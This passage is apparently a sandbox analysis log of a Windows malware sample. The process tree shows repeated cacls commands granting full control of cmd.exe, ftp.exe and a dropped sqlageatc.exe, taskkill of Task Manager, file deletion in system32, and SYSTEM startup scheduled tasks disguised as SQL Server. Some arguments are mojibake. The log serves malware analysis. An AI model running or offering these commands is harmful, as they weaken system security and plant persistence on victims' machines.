- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6424
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:4960
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:2128
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:5140
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1840
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:4660
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:1912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5340
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:5336
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6432
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:668
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:1208
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:6644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:5332
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5308
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:6904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:4116
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5444
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:6680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:6672
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  PID:2132
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1784
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:6912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  PID:5304
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6020
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:6896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4212
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:6656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5492
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6880
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:1684
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5400
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5192
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6696
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:3336
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5228
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5524
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6804
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5320
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:756
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5372
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5460
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:1604
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:4572
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7060
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:7112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  PID:3940
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    - Kills process with taskkill
    PID:6400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\VBS.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  - Executes a command shell one-liner
  PID:6884
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6724
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4852
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:2912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6688
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:7136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:6580
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:7092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:6552
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:3652
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:3620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:6908
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5356
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:5944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5168
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:2684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:6236
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:2456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5312
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:6640
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:4192
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:5656
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:6636
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:6968
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:6396
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:6376
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:5492
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:5680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:1688
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:5212
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5688
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:5712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:6960
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:5740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:6272
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:2944
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:6880
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:6244
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:5608
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:2052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  PID:6364
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:6892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:6168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5412
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:6744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:6436
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6484
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  PID:6548
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:5408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:6512
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5288
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6468
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5176
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5564
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5996
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6780
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5904
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5616
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:2332
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6804
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:2412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:2488
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5676
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  PID:5700
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:6576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  - Executes a command shell one-liner
  PID:6836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    - Kills process with taskkill
    PID:6760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im ftp.exe
  2⤵
  PID:2712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3248
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ftp.exe
    3⤵
    PID:5344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:5704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:6712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s1a
  2⤵
  PID:2740
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s1a
  2⤵
  PID:5712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTVFC.exe
  2⤵
  PID:6616
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTVFC.exe
    3⤵
    PID:6572
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:1632
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:6560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate.bat
  2⤵
  PID:6132
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:5516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.532193" /tr "C:\ProgramData\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5752
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533294" /tr "C:\ProgramData\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6584
